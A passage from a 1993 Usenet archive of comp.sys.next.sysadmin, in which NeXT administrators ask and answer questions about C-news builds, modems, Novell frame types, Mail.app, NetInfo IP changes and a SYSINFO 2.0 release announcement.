Message-ID: <1993Jun14.175333.7420@logician.com>
Sender: juan@logician.com
Organization: logician.com
Date: Mon, 14 Jun 1993 17:53:33 GMT
Hi,
Is anyone out there using the Feb '93 "performance" release of C-news on their
NeXT? I am tempted to install it because I understand that the checkgroups
function is badly broken in releases before the '92 "performance."
If you've installed the Feb '93 C-news release, could you comment on how well
it works? The README file for it recommends against installing it unless you
really need the performance, because it still has "rough edges". If it works
well enough, would you be willing to post a NeXT package that would install the
binaries?
Has anyone out there had positive experience with using checkgroups in pre-'92
releases of C-news? I've read severe warnings against using it, so I would
expect that it is badly broken. However in reading the documentation, it seems
that some of the bugs may depend on the implementation of awk, so there might
be a possibility that it would work under some Unix implementations. Also
would it be possible to simply use the checkgroups script from the newer C-news
with my older C-news code?
Any help would be greatly appreciated.
Juan
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Problem with Supra
Message-ID: <C8Mp8B.FK6@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: University Computing Services
Date: Mon, 14 Jun 1993 20:36:11 GMT
This is pretty strange. I never had this problem with other modems.
On the Supra, I dial, handshake and get a 'CONNECT 9600'. Then I'm
hung. I can see that when I hit return, the modem is receiving it
because them little light's are a flashin' but it's almost as if it
isn't sending it on to the modem on the other end. I can't send
anything across the line I guess.
Anyone else seen this?
-rob
francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin
From: rutherford@csusys.ctstateu.edu
Subject: Nextstep 486/Gateway question
Message-ID: <1993Jun14.171300.1@csusys.ctstateu.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
Date: Mon, 14 Jun 1993 22:13:00 GMT
Greetings,
We are thinking of purchasing some 486 machines and NextStep
at our university. We have a little trouble selecting the
machines to purchase. Because of purchasing regulations it
would be much easier if we could buy DEC, Zenith or Gateway
machines. We have heard that there are problems with systems
being unable to access memory over 16MB if there is a 16-bit
SCSI controller present. We heard a rumour that this is so
with Gateway 486 Vesa local bus systems. And the Gateway EISA
system is not listed as being compatible with Nextstep yet?
Does anyone have any information on this?
Thanks,
John Rutherford
Central Conn State Univ.
Newsgroups: comp.sys.next.sysadmin
From: kris@nurslab303a.nurs.utah.edu (Kris Magnusson)
Subject: Can't compile cnews (or: cnews conundrum)
Message-ID: <1993Jun14.221453.16026@fcom.cc.utah.edu>
Sender: news@fcom.cc.utah.edu
Organization: University of Utah Computer Center
Date: Mon, 14 Jun 93 22:14:53 GMT
If someone has successfully compiled the cnews sources under NS 3.0, I'd
like to shake his or her hand. I've been trying to compile Cnews in cracks
in my busy schedule for some time. I've been utterly unsuccessful. I've
been using someone's build.def answers from a _successful_ Cnews build.
Here's what happens when I give this a shot:
nurslab303a/user1/kris/Library/News/Cnews/cnews/conf# ./doit.root
<... successful build>
nurslab303a/user1/kris/Library/News/Cnews/cnews/conf# su bin
$ ./doit.bin
+ : setting up for substitutions
+ cat
/doit.bin: nsubstitutions: cannot create
+ test -r substitutions
+ mv nsubstitutions substitutions
mv: nsubstitutions: Cannot access: No such file or directory
+ : done
+ : building headers
+ cd ..
+ test ! -d include
+ mkdir include include/sys
mkdir: include: Permission denied
mkdir: include/sys: No such file or directory
+ cd h
+ rm -f nnewshsed
+ echo /NOSTOREVAL.*qqq/s;^;/* ;
/doit.bin: nnewshsed: cannot create
The build stops at this point. Then, using the intellectual equivalent of
brute force, I type
nurslab303a/user1/kris/Library/News/Cnews# chown -R bin.bin cnews
then type
nurslab303a/user1/kris/Library/News/Cnews/cnews/conf#su bin
$ ./doit.bin
at which time I see compiler messages, build results, etc.--until this
point:
cc -O -c history.c
history.c:188: warning: static declaration for `remove' follows non-static
history.c: In function `remove':
history.c:189: argument `fname' doesn't match function prototype
*** Exit 1
Stop.
+ exit 1
$
If anyone would like to shed light on this, please do so. I just wanna
read news and stop getting bitched at because I'm posting from an edu
site.
Kris Magnusson
Newsgroups: comp.sys.next.sysadmin
From: trebels@desdemona.theo-phys.gwdg.de (Stephan Trebels)
Subject: Novell Netware: can one replace Ethernet_II with 802.3 ? (Summary)
Message-ID: <J5FEBV2V@gwdu03.gwdg.de>
Keywords: Novell, Netware, nuc, npsd, Ethernet_II, Ethernet802.3
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <CPDEBVMK@gwdu03.gwdg.de>
Date: Mon, 14 Jun 1993 23:42:35 GMT
In article <CPDEBVMK@gwdu03.gwdg.de> I wrote:
>
> hi,
>
> i do have a problem connecting to a Novell fileserver
> using Ethernet 802.3. There are other fileservers using
> Ethernet_II in the network, too. Now my slab initializes
> npsd with Ethernet_II frames instead of Ethernet 802.3.
> Has anyone managed to connect his NeXT to a Novell
> fileserver using Ethernet 802.3 frames?
[...] some stuff deleted
A solution is to change the line starting npsd in /etc/rc to
npsd -fEthernet_802.3. Then this line reads
/usr/netware/etc/npsd -fEthernet_802.3 && (echo -n ' npsd')
Now everything seems to work just fine.
It seems to be too late in startup of Netware to change
anything for sapd, also I doubt whether our novell admins
will ever decide to only use one type of frames. I would
still prefer a solution that would not require changing
/etc/rc i.e. use netinfo ;-).
Many thanks to all fine folks who told me what to try
Stephan Trebels <trebels@theo-phys.gwdg.de>
Newsgroups: comp.sys.next.sysadmin
From: craighil@sfc.sony.com (Nancy Craighill)
Subject: Problems Using /dev/ttya On Intel Machines
Message-ID: <1993Jun15.003911.29648@sfc.sony.com>
Organization: Sony Advanced Video Technology Center
Date: Tue, 15 Jun 1993 00:39:11 GMT
We've been attempting to use /dev/ttya with very little success on the Intel machines. Simply running "yes > /dev/ttya" a couple of times will cause the entire system to freeze up--the mouse and keyboard are dead and the system no longer responses when pinged. One time we got the kernel trap message:
Raise RDP exception 1 code 1 subcode c21c1750.
This is a brutal bug because you can not cleanly reboot the machine.
Shouldn't /dev/ttya just work after installing NeXTSTEP?? The IRQs in the system setup seem to be configured properly and the serial port works fine under DOS. Anyone have any ideas? Has anyone successfully used /dev/ttya and /dev/ttyb with other programs? (NOTE: The behavior is the same on both a Dell and Gateway).
Nancy
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685 River Oaks Parkway, M.S. 35 email: craighill@sfc.sony.com
San Jose, CA 95134-1907 USA
From: dkk@cbnewsl.cb.att.com (david.k.kallman)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: 3.1 Mailer and symbolic links
Message-ID: <C8n9By.5wE@cbnewsl.cb.att.com>
Date: 15 Jun 93 03:50:18 GMT
Followup-To: comp.sys.next.sysadmin
Organization: AT&T Bell Laboratories
Folks,
Just upgraded to 3.1 for Next hardware and am having a
problem with mail. My mail actually goes to a Sun system,
and I have /var/spool/mail on the Sun mounted as
/Net/sun/var/spool/mail on the NeXT. (There are several
users on the NeXT and most of them get mail locally on the
NeXT so I couldn't just mount /var/spool/mail from the Sun
on /usr/spool/mail on the NeXT.)
Now Mail (note capital M), autoretrieves mail from the Sun,
but does not delete the mail on the Sun after
autoretrieving it. So every autoretrieve period the mail
just keeps getting duplicated. The worked fine in 3.0, and
also works fine with mail (small m, i.e., deleting the mail
and quiting in mail).
Has anyone experienced this? Also would the problem go
away if I rearranging things and mounted /var/spool/mail on
the Sun on /usr/spool/mail on the NeXT? I'd experiment,
but I'd prefer not taking the chance of losing mail.
Thanks.
Dave Kallman
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Subject: cmsg cancel <C8n9By.5wE@cbnewsl.cb.att.com>
Organization: AT&T
Date: Tue, 15 Jun 1993 03:57:33 GMT
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From: dkk@cbnewsl.cb.att.com (david.k.kallman)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: 3.1 Mailer and symbolic links
Message-ID: <C8nA5L.6B2@cbnewsl.cb.att.com>
Date: 15 Jun 93 04:08:08 GMT
Followup-To: comp.sys.next.sysadmin
Organization: AT&T Bell Laboratories
Folks,
Just upgraded to 3.1 for Next hardware and am having a
problem with mail. My mail actually goes to a Sun system,
and I have /var/spool/mail on the Sun mounted as
/Net/sun/var/spool/mail on the NeXT, with a symbolic link
from /usr/spool/mail/dkk -> /Net/sun/var/spool/mail/dkk,
and also a .forward in my home directory on the Next to
dkk@sun - this handles local mail. (There are several
users on the NeXT and most of them get mail locally on the
NeXT so I didn't just mount /var/spool/mail from the Sun
on /usr/spool/mail on the NeXT.)
Now Mail.app (note capital M) autoretrieves mail from the
Sun, but does not delete the mail on the Sun after
autoretrieving it. So every autoretrieve period the mail
just keeps getting duplicated. The worked fine in 3.0, and
also works fine in 3.1 with mail (small m, i.e., deleting
the mail and quiting in mail).
Has anyone experienced this? Also would the problem go
away if I rearranged things and mounted /var/spool/mail on
the Sun on /usr/spool/mail on the NeXT? I'd experiment,
but I'd prefer not taking the chance of losing mail.
Thanks.
Dave Kallman
--
----
Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748
d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
Newsgroups: comp.sys.next.sysadmin
From: woo@ornl.gov (John W. Wooten)
Subject: Re: POP3 on a NeXT?
Message-ID: <1993Jun15.132940.16068@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
References: <1993Jun14.081606.5151@ccsvax.sfasu.edu>
Date: Tue, 15 Jun 1993 13:29:40 GMT
In article <1993Jun14.081606.5151@ccsvax.sfasu.edu>
f_cnnghamjk@ccsvax.sfasu.edu writes:
>
> Does anyone have a POP3 server running on a NeXT? Is it difficult to
set up?
>
I installed it and had no problems.
- - - - - - - - -
J. W. Wooten
Newsgroups: comp.sys.next.sysadmin
From: dkk@cbnewsl.cb.att.com (david.k.kallman)
Subject: Re: 3.1 Mailer and symbolic links
Organization: AT&T
Date: Tue, 15 Jun 1993 14:57:17 GMT
Message-ID: <C8o47M.KM@cbnewsl.cb.att.com>
References: <C8nA5L.6B2@cbnewsl.cb.att.com>
Folks,
Thanks for your help. The following answer from
Marcel Waldvogel <Marcel.Waldvogel@nice.usergroup.ethz.ch>
solved the problem:
Just go to Mail.app's Preferences and change the location
of the Mailbox file to /Net/sun/usr/spool/mail/dkk.
Dave Kallman
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From: jfosback@darmok.uoregon.edu (Jason Fosback)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: NS 3.1 loginwindow options??
Message-ID: <1vksui$bel@pith.uoregon.edu>
Date: 15 Jun 93 16:21:38 GMT
Article-I.D.: pith.1vksui$bel
Organization: University of Oregon Network Services
Does anyone know the "new" dwrites for 3.1's login window? The old
dwrites from NS 3.0 no longer seem to work, and I'd like to know how to
customize the fade timeout, etc.
Thanks!
-jason
_________________________________________________________________
Jason Fosback, User Support Analyst | No sir, I didn't like it
---- University of Oregon ---- | -R&S
Internet: jfosback@oregon.uoregon.edu | Star Trek:
NeXT mail: jfosback@darmok.uoregon.edu | The NeXT Generation...
Newsgroups: comp.sys.next.sysadmin
From: tmurdoch@liberty.uc.wlu.edu (Tim Murdoch)
Subject: problem with WindowServer
Message-ID: <1993Jun15.165432.13289@liberty.uc.wlu.edu>
Date: Tue, 15 Jun 1993 16:54:32 GMT
Organization: Washington & Lee University
Help!! I have done something to one of our mono Turbos so that I get the
following messages during verbose boot:
WindowServer[149]: Problem starting the MegaPixel driver. Continuing.
This is followed by repeated messages of the same kind (the number after
WindowServer changes) until the following message occurs:
loginwindow[138]: loginwindow: could not find WindowServer port!
Then the messages about the WindowServer cycle again. What has gone wrong?
Does anybody have a (relatively) painless fix? Some useful information may
be that I was trying to install X on the machine and inadvertently changed
the permissions on /dev/vid0 to rwx for ugo. This is when the trouble
started. I've managed to change the permissions back to the original, but
the problem persists.
Please reply by email, as I won't have much time to read this group. Thanks.
--
Tim Murdoch
Assistant Prof. of Math e-mail: murdoch@wlu.edu
Washington and Lee Univ. phone: (703) 463-5045
Lexington VA 24450
Newsgroups: comp.sys.next.sysadmin
From: fosdal@phenxm.physics.wisc.edu
Subject: Accessing Remote Files
Message-ID: <1993Jun15.183527.4975@cs.wisc.edu>
Sender: news@cs.wisc.edu (The News)
Organization: U of Wisconsin Madison - Computer Sciences
Date: Tue, 15 Jun 1993 18:35:27 GMT
After having done:
dwrite
--
Steven R. Fosdal UW-Madison Physics Dept.
NeXT System 1150 University Ave, Madison WI 53706
Management Phone: (608)262-8947 Fax: (608)262-8628
fosdal@phenxm.physics.wisc.edu (NeXT mail o.k.)
From: fosdal@phenxm.physics.wisc.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Accessing Remote Files
Message-ID: <1993Jun15.183901.5168@cs.wisc.edu>
Date: 15 Jun 93 18:39:01 GMT
Sender: news@cs.wisc.edu (The News)
Organization: U of Wisconsin Madison - Computer Sciences
After having done:
dwrite System PublicWindowServer No
and then after logging out:
/usr/lib/NextStep/Workspace.app/WM.app/WM -NXHost mymachine
on a remote machine. I get two file viewers. This is what I want.
Except when I try to access the remote files the machines tries to find
the on the local machine, not the remote machines as I would like. Any
ideas on how to get this to work?
--
Steven R. Fosdal UW-Madison Physics Dept.
NeXT System 1150 University Ave, Madison WI 53706
Management Phone: (608)262-8947 Fax: (608)262-8628
fosdal@phenxm.physics.wisc.edu (NeXT mail o.k.)
Newsgroups: comp.sys.next.sysadmin
From: dyaeb@ebnextk.SLAC.Stanford.EDU (David Aston)
Subject: Changing IP numbers - NetInfo woes
Message-ID: <C8oECo.E80@unixhub.SLAC.Stanford.EDU>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
Date: Tue, 15 Jun 1993 18:36:24 GMT
We maintain about 30 NeXTs with NetInfo in a mixed (yp) network.
In the near future, we have to change the IP numbers of many of the
machines to facilitate subnetting. We did a successful dry run of this
on four machines, including an NFS server, last Friday, and tried to do
the rest last night.
We ran into a problem we could not overcome. The master NetInfo server
could not be persuaded to reboot (it, of course, is one of the machines
having its IP number changed). The boot sequence is OK until rc starts
lookupd which seems to be unable to talk to netinfod (we get an series
of "netinfo sleeping", "netinfo waking" and "RPC timeout" messages).
Our clone NetInfo server (which also had an IP change) behaved
similarly.
We had to restore the old /etc/netinfo database (which I at least
remembered to save) to get back on the air. Can anybody tell me what
crucial step I missed?
Newsgroups: comp.sys.next.sysadmin
From: Neil Greene <neil@kynug.org>
Subject: Re: 3.1 Mailer and symbolic links
Message-ID: <1993Jun15.180507.2718@kynug.org>
Sender: neil@kynug.org (Neil Greene)
Organization: Kentucky NeXT User Group, Inc.
References: <C8nA5L.6B2@cbnewsl.cb.att.com>
Date: Tue, 15 Jun 1993 18:05:07 GMT
In article <C8nA5L.6B2@cbnewsl.cb.att.com> dkk@cbnewsl.cb.att.com
(david.k.kallman) writes:
>
> Folks,
>
> Just upgraded to 3.1 for Next hardware and am having a
> problem with mail. My mail actually goes to a Sun system,
> and I have /var/spool/mail on the Sun mounted as
> /Net/sun/var/spool/mail on the NeXT, with a symbolic link
> from /usr/spool/mail/dkk -> /Net/sun/var/spool/mail/dkk,
> and also a .forward in my home directory on the Next to
> dkk@sun - this handles local mail. (There are several
> users on the NeXT and most of them get mail locally on the
> NeXT so I didn't just mount /var/spool/mail from the Sun
> on /usr/spool/mail on the NeXT.)
>
> Now Mail.app (note capital M) autoretrieves mail from the
> Sun, but does not delete the mail on the Sun after
> autoretrieving it. So every autoretrieve period the mail
> just keeps getting duplicated. The worked fine in 3.0, and
> also works fine in 3.1 with mail (small m, i.e., deleting
> the mail and quiting in mail).
>
> Has anyone experienced this? Also would the problem go
> away if I rearranged things and mounted /var/spool/mail on
> the Sun on /usr/spool/mail on the NeXT? I'd experiment,
> but I'd prefer not taking the chance of losing mail.
Check the permissions on the /var/spool/mail directory on the sun. Is the
sticky bit set to allow users to delete and modify their own files, but
leave everything else along??
> --
> ----
> Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748
> d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
--
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President, benchMark Developments, Inc. [NeXT VAR]
President, Kentucky NeXT User Group, Inc.
North American, TIFFany Distributor
From: mcooper@acamar.usc.edu (Michael A. Cooper)
Newsgroups: comp.sys.sun.admin,comp.unix.ultrix,comp.unix.aix,comp.sys.next.sysadmin
Subject: SYSINFO 2.0 Now Available
Date: 15 Jun 1993 12:34:34 -0700
Organization: USC Computing Services, Los Angeles
Sender: mcooper@acamar.usc.edu
Distribution: world
Message-ID: <1vl88a$t7v@acamar.usc.edu>
SYSINFO version 2.0 is now available. The README file follows. It
will eventually be posted to one of the source groups.
SYSINFO 2.0
Michael A. Cooper
Research, Development, and Systems Group
University Computing Services
University of Southern California
mcooper@usc.edu
CHANGES
The major changes since version 1.x include adding support for getting
device information from the Open Boot PROM (OBP) on Sun-like machines
and support for SunOS 5.x (Solaris 2.x). The OBP interface provides
more information than ever. The OBP interface also gives sysinfo the
ability to provide detailed information on what types of CPUs are
available.
SunOS 5.x comes with a number of features which makes SYSINFO much
more portable across different manufacturer's hardware running SunOS
5.x. This includes the ability to determine the label on a disk drive
in a device driver independent fashion. This ability alone should
eliminate most of the problems with SYSINFO causing certain systems
with certain system configurations to crash. (Which I still maintain
is the fault of SunOS and not SYSINFO.) The OBP kernel interface in
SunOS 5.x also adds the ability to associate nodes found by looking
through the kernel with those nodes found by querying the OBP
directly. This means SYSINFO can extract and assign much more
information found by direct OBP queries than is possible with SunOS
4.x.
See the file "ChangeLog" for a complete list of changes.
GENERAL INFORMATION
Sysinfo is a program which shows various pieces of information about a
system. The original version was written to simply determine the
model name of a system for use in /etc/motd. It also supported a few
other pieces of information that were simple to obtain, but the method
used to obtain the information on various different OS's varied. The
current version shows many different "general" bits of system
information as well as fairly detailed information on system devices
such as disk drives, frame buffers, tape drives, and many others. A
lot of the information sysinfo displays is difficult, if not
impossible, to determine by normal OS commands and/or files after boot
time on many OS's.
Most of the OS specific information was determined by groveling
/usr/include/{sys,machine,*dev}/*.h files, section 4 man pages, and
reverse engineering the output from various commands like devinfo
(SunOS) and using the trace(2) facility. Some of the network (netif)
code was inspired by the sources to the 4.3BSD netstat and ifconfig
commands.
SUPPORTTED PLATFORMS
Sysinfo has been tested on the platforms listed below. Porting to
other BSD based Unix's is fairly straight-forward.
Sun-3 SunOS 4.1.1
Sun-386 SunOS 4.0.1
Sun-4/SPARC SunOS 4.1.3, 5.2
SPARCbook-1 Solaris 1.0.1 SPARCbook Version A.3, B
Solbourne Series5E OS/MP 4.1A
DEC MIPS Ultrix 4.2A
NeXT NeXT 2.2
IBM RS/6000 AIX 3.2
Alliant *Concentrix 5.X, *Concentrix-2800 2.0
* - No device information support
INSTALLATION
1) Read the comments in "Makefile" and make any necessary changes.
2) Run "make". If you have multiple kernel architectures (kvm's)
for the same OS (like for SunOS 4.x), you must compile and install sysinfo
for each kernel arch. Currently, this is only required for SunOS 4.x.
It is _NOT_ required for SunOS 5.x.
3) Run "make install" to install the sysinfo binary and "make
install.man" to install the man page.
BUG FIXES
Please send bug fixes, suggestions, and comments to mcooper@usc.edu.
WHERE TO GET IT
The latest/greatest version of sysinfo is available via anonymous ftp
on usc.edu in "/pub/sysinfo".
PLATFORM SPECIFIC NOTES
The following are notes regarding specific platforms:
SunOS 4.x
SYSINFO should be compiled for each kernel architecture machine
you wish to run it on. This is only needed for SunOS 4.x. It
is _NOT_ required for SunOS 5.x. (SYSINFO is normally installed
into /usr/kvm and symlinked into something like /usr/local/bin.)
This is necessary if you wish to be able to get the PROM version
information. The SunOS 4.x interface to the PROM information
does not permit having one binary that can determine the PROM
information on all the different kernel architectures. This
interface problem is fixed in SunOS 5.x.
Your kernel must have NIT (Network Interface Tap) compiled into it
in order to determine the Ethernet MAC address under SunOS 4.x.
Sun386i device support is shakey, at best. No SCSI disk info
is found. The kernel device init table doesn't seem to have
any of the disk info in it. I haven't had time to track this
down.
SunOS 5.x
Unlike SunOS 4.x, you only need one SYSINFO binary for each SunOS
release. You do not need one for each kernel architecture.
i.e. SYSINFO compiled under SunOS 5.2 on a SPARC machine will
run on any SunOS 5.2 SPARC machine of any kernel architecture.
Under SunOS 5.2 FCS on sun4d hosts (like the SPARCcenter-2000), the
kernel has an empty value for the system "root nexus". This means
that you will not see a proper device tree on such systems.
Various nodes will not be attached where they should be.
This bug cropped up between SunOS 5.2 ER2 and FCS.
Ultrix Your kernel must have the PF (Packet Filter) compiled into it
in order to determine the Ethernet MAC address.
Determining the System Model on VAX and MIPS machines is very
difficult. You can get a pretty good idea on most, but not
all VAX and MIPS machines by determining the number of CPUs
in a machine. You really need to know the clock speed of the
CPUs to get a good idea. Unfortuntely, I have neither the time
nor the equipment to work on this.
NeXT Network address info for network interfaces is not working. There
is currently no debugger that works with GCC 2.0 so I haven't spent
time on this.
AIX When looking up device information, SYSINFO uses the AIX "National
Language Catalogs". This means that your $LANG environment
variable must be set correctly. If it is not, SYSINFO may fail
to find most device information.
OTHER KNOWN PROBLEMS
SPARCbook "id" DISKS
The label on "id" disks on the SPARCbook-1 cannot be read. This
appears to be because the definition of IDE_READ in
<taddev/ide_drvr_def.h> is incorrect. This bug is present in
Solaris 1.0.1 Rev A.
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Manager of Systems Administration PHONE (VOICE): 213-740-2957
University Computing Services PHONE (FAX): 213-740-9312
University of Southern California
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From: bav@bergen.siodata.no (Bjorn Asle Valde)
Subject: Re: Novell Netware: can one replace Ethernet_II with 802.3 ? (Summary)
Message-ID: <1993Jun15.194020.15135@alf.uib.no>
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
References: <J5FEBV2V@gwdu03.gwdg.de>
Date: Tue, 15 Jun 93 19:40:20 GMT
In article <J5FEBV2V@gwdu03.gwdg.de> trebels@desdemona.theo-phys.gwdg.de
(Stephan Trebels) writes:
> In article <CPDEBVMK@gwdu03.gwdg.de> I wrote:
> >
> > hi,
> >
> > i do have a problem connecting to a Novell fileserver
> > using Ethernet 802.3. There are other fileservers using
> > Ethernet_II in the network, too. Now my slab initializes
> > npsd with Ethernet_II frames instead of Ethernet 802.3.
> > Has anyone managed to connect his NeXT to a Novell
> > fileserver using Ethernet 802.3 frames?
>
> [...] some stuff deleted
>
> A solution is to change the line starting npsd in /etc/rc to
> npsd -fEthernet_802.3. Then this line reads
>
> /usr/netware/etc/npsd -fEthernet_802.3 && (echo -n ' npsd')
>
> Now everything seems to work just fine.
Thanks, nice to know. You probably knew this, but for those
who don't: It's possible to se up an Novell 3.X server with
one lan-adapter to "support" both type-II and 802.3 frames
on the same net. I've done that and now I can see both types
of server "frame-types" on my next. I'm not sure what, if any,
dissadvanteges there are doing this. At least we are running
it, and it's stable and in my $0.2 ok because I don't have
to really worry about the frame-type question on clients.
(I guess this is routing of sorts, so it could have performance
problems in scale; our net is rather small&cossy... :-)
>
> It seems to be too late in startup of Netware to change
> anything for sapd, also I doubt whether our novell admins
> will ever decide to only use one type of frames. I would
> still prefer a solution that would not require changing
> /etc/rc i.e. use netinfo ;-).
>
> Many thanks to all fine folks who told me what to try
>
> Stephan Trebels <trebels@theo-phys.gwdg.de>
Mvh, -bav
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Changing IP numbers - NetInfo woes
Message-ID: <C8oIJ4.GIK@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: University Computing Services
References: <C8oECo.E80@unixhub.SLAC.Stanford.EDU>
Date: Tue, 15 Jun 1993 20:06:40 GMT
In article <C8oECo.E80@unixhub.SLAC.Stanford.EDU> dyaeb@ebnextk.SLAC.Stanford.EDU (David Aston) writes:
>We maintain about 30 NeXTs with NetInfo in a mixed (yp) network.
>In the near future, we have to change the IP numbers of many of the
>machines to facilitate subnetting. We did a successful dry run of this
>on four machines, including an NFS server, last Friday, and tried to do
>the rest last night.
>We ran into a problem we could not overcome. The master NetInfo server
>could not be persuaded to reboot (it, of course, is one of the machines
>having its IP number changed). The boot sequence is OK until rc starts
>lookupd which seems to be unable to talk to netinfod (we get an series
>of "netinfo sleeping", "netinfo waking" and "RPC timeout" messages).
>Our clone NetInfo server (which also had an IP change) behaved
>similarly.
>We had to restore the old /etc/netinfo database (which I at least
>remembered to save) to get back on the air. Can anybody tell me what
>crucial step I missed?
This can happen if your NetInfo server's IP addr was listed in the /
domain. Fire up NetInfo Mangler and see if that is the case. Also,
it's usually easier to just take a T-connector with two terminators
and bring the machine up, fix the bogus IP addr, and them reboot than
to go back to the old /etc/netinfo.
-rob
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francisr@indiana.edu (812)855-0327
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From: trebels@desdemona.theo-phys.gwdg.de (Stephan Trebels)
Subject: Using xmodmap with Xmouse
Message-ID: <82GEBWDO@gwdu03.gwdg.de>
Keywords: Xmouse, X, keycode, keymap, xmodmap
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
Date: Tue, 15 Jun 1993 19:54:02 GMT
hi folks,
I do have a problem using Xmouse on a mono nonturbo slab
that has a german keyboard (please don't tell me, not to
use such a keyboard, it's shit, I know, but it's the only
one I have ;-)
So I want Xmouse to map Alt-1 on ~ for example.
Standard X docs say: use xmodmap and modify the keymap,
this works for standard and shift (so Shift-1 is "!" ok).
The third element in the list should then be used when
"the key and the most common modifier key are pressed
simultaneously", whatever this modifier key might be.
Therefore I used the following statement as xmodmap input:
keycode 82 = 1 exclam asciitilde
But this third element in the list will *never* be used,
at least I never managed to get a asciitilde, whatever
keys are pressed. I tried all standard X modifiers
Shift, Lock, Control, Mod{1,2,3,4,5} (mapped them on keys),
but I never managed to get any of them to work.
Has anyone ever managed to map Alt-something with Xmouse?
Perhaps there is even some stupid mistake...
If this behaviour is really hardcoded in Xmouse
(I don't hope that), where are the Xmouse sources,
to take a look. BTW, are the Xfe sources public?
There is some behaviour, I would *like* to change :-)
Just in case I'm misunderstood, I *do* like Xmouse,
I would just like to be able to use those unimportant
keys in "~<>|{[]}\@#^". All of them are not available
without Alt on a NeXT-german keyboard.
thanks in advance
From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach)
Newsgroups: comp.sys.next.sysadmin
Subject: what the heck is tex.pool?
Message-ID: <ti6ls.740163046@tuhhco>
Date: 15 Jun 93 16:50:46 GMT
Sender: usenet@rztsun.rz.tu-harburg.de
After having deleted this file by accident, I took it from the 3.0 CD.
But now, running initex, I get the message:
! tex.pool doesn't match; tangle me again.
What do I have to do? Any help would be appreciated!
Regards,
Ludger.
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Subject: Help: Target 0 media error
Message-ID: <1vn3vg$8e8@parsifal.umkc.edu>
From: mlg@.cstp.umkc.edu (Meg Grice)
Date: 16 Jun 1993 12:33:52 GMT
Distribution: world
Organization: University of Missouri Kansas City
Originator: mlg@nike.cstp.umkc.edu
Please help. A friend has a NeXTcube 030 running NeXTStep 2.1.
It does not boot properly anymore and complains on fsck that it has a
media error and list 4 blocks. It also says "the network is disabled
or your computer is not connected to it". This computer has never
been on the network.
I have look at the disk program, but do not know how to get the
program to repair the disk.
Any help would be appreciated. Please email me directly.
--
Meg Grice
UNIX Systems Administrator
From: andrew@cubetech.com (Andrew Loewenstern)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Novell Netware 4 support ?
Date: 16 Jun 1993 07:14:54 -0500
Organization: Cube Technologies, Inc
Message-ID: <1vn2ru$98j@valinor.cubetech.com>
References: <1993Jun14.182923.1@hei.unige.ch>
In article <1993Jun14.182923.1@hei.unige.ch> droux@hei.unige.ch writes:
>
>My NeXT is connected to a Netware server Release 3 and our Novell administrator
>will upgrade it to a Release 4 server. He told me that version 4 can accept
>requests from version 3 clients but this is not very elegant.
>
>Is there any plans toward the support of the Release 4 NetWare servers by
>NEXTSTEP ? Will it be integrated in a forthcoming version of NEXTSTEP, or is it
>already supported in 3.1 ? (I'm using 3.0)
The 3.0 NS client works as well with 4.0 NetWare servers as with 3.11
servers (which is slowly). I don't think NeXT can really support the
4.0 NetWare directory services with the current Workspace Manager
anyway.
andrew
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From: hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff)
Subject: Low level scsi format for next?
Message-ID: <1993Jun16.152800.23258@serval.net.wsu.edu>
Keywords: scsi format low level
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: School of EECS, Washington State University
Date: Wed, 16 Jun 93 15:28:00 GMT
Where can I find a program to do a low level format on a disk on one of our
NeXTs? I have an older cube that we are trying to upgrade to 3.0, we are
getting some scsi write errors while building the disk and I am hoping a
low level format will fix the problem (any other ideas?).
Thanks.
--
Karl Hakimian
hakimian@eecs.wsu.edu
Newsgroups: comp.sys.next.sysadmin
From: hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff)
Subject: Nextdimension memory
Message-ID: <1993Jun16.154435.23566@serval.net.wsu.edu>
Keywords: nextdimension memory limit
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: School of EECS, Washington State University
Date: Wed, 16 Jun 93 15:44:35 GMT
Is there a limit to how much memory can be put into a NeXTDimension board?
We put 32megs in one of ours and we got system panics. With 20 meg it works
fine.
All 32 meg was tested and found to be good memory.
--
Karl Hakimian
hakimian@eecs.wsu.edu
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From: anderson (Ken Anderson)
Subject: Re: Changing IP numbers - NetInfo woes
Message-ID: <1993Jun16.154737.2988@biztech.com>
Sender: news@biztech.com
Organization: Biztech, Inc.
References: <C8oECo.E80@unixhub.SLAC.Stanford.EDU>
Date: Wed, 16 Jun 1993 15:47:37 GMT
In article <C8oECo.E80@unixhub.SLAC.Stanford.EDU>
dyaeb@ebnextk.SLAC.Stanford.EDU (David Aston) writes:
>We maintain about 30 NeXTs with NetInfo in a mixed (yp) network.
>In the near future, we have to change the IP numbers of many of the
>machines to facilitate subnetting. We did a successful dry run of this
>on four machines, including an NFS server, last Friday, and tried to do
>the rest last night.
>We ran into a problem we could not overcome. The master NetInfo server
>could not be persuaded to reboot (it, of course, is one of the machines
>having its IP number changed). The boot sequence is OK until rc starts
>lookupd which seems to be unable to talk to netinfod (we get an series
